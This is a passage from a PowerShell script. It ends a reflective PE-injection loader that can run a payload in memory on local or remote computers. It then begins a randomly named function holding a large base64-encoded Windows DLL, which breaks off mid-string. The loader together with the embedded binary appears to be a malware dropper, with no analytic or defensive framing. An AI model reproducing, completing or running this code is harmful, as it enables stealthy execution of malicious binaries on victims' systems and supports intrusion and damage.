  2739.     else
  2740.     {
  2741.         $ExeArgs = "ReflectiveExe"
  2742.     }
  2743.  
  2744.     if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
  2745.     {
  2746.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
  2747.     }
  2748.     else
  2749.     {
  2750.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
  2751.     }
  2752. }
  2753.  
  2754. Main
  2755. }
  2756.  
  2757. function Invoke-HGFXNPCQTZ
  2758. {
  2759.  
  2760. $PEBytes32 = "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/zP/jUXsx4X0/v//QhEAEImF+P7//0eNRejHhQD///8jEQAQiYUE////jUXkiYUQ////jUXgiYUc////jUXIiYUo////jUXAiYU0////jUXcagVZiYVA////jUXYagJaiYVM////jUXUiY3w/v//iY38/v//iY0I////x4UM////0REAEMeFFP///wYAAADHhRj///8ZEAAQib0g////x4Uk////hhIAEImVLP///8eFMP///yATABDHhTj///8GAAAAx4U8////UhMAEImVRP///8eFSP///58RABCJjVD////HhVT///8sEAAQiYVY////jUWox4Vg////sRAAEImFZP///41FoImFcP///41F0GoGWomFfP///41FuIlFiI2F7P7//2oOUFaJlVz///+JjWj////HhWz////EEAAQiY10////x4V4////BBEAEIlNgMdFhHEQABCJVYzHRZBeEAAQ6LI+AAD/dbSL8I2FyP7//1DoGpkAAFPodyQAAIPEQIX2dQczwOlRAgAA6NcJAACjFNcBELtAwAEQjUXwUGoIagZoVgIAAFPo3zUAADPAZolF+I1FlFBqCGoIaF0HAABT6MY1AAAzwGaJRZyNheD+//9QagpqDWgMAQAAU+iqNQAAM8BQaiBoANYBEGaJher+///o8TQAAIPESKMM1wEQ6NIpAACjENcBEIXAdQ+NRfBQ6Ck5AABZoxDXARDozgIAAKMI1wEQ6OgqAACjGNcBEIXAdQ+NRfBQ6AI5AABZoxjXARDoPSYAAKMc1wEQhcB1D41F8FDo5TgAAFmjHNcBEOiGJwAAoyDXARCFwHUPjUXwUOjIOAAAWaMg1wEQ6IUoAACjJNcBEIXAdQ+NRfBQ6Ks4AABZoyTXARDogysAAIXAjZXg/v//jU2UD0TKUeiMOAAAWaMo1wEQ6N8pAACjLNcBEIXAdQ+NRfBQ6G84AABZoyzXARCNRbBQ6OUlAABrTbAWi/BqAFFW6PozAABWozDXARDo+iIAAOj0KwAA99gbwIPg6oPAVqOA1wEQ6N4GAADowwcAAOinBAAAjYW4/v//UGoMag5o9AYAAFPoWTQAADPAZomFxP7//42FuP7//1Dojfn//4PELPfYG8BAo5jXARDo8gUAAIM9DNcBEAB0dYM9ENcBEAB0bIM9FNcBEAB0Y4M9CNcBEAB0WoM9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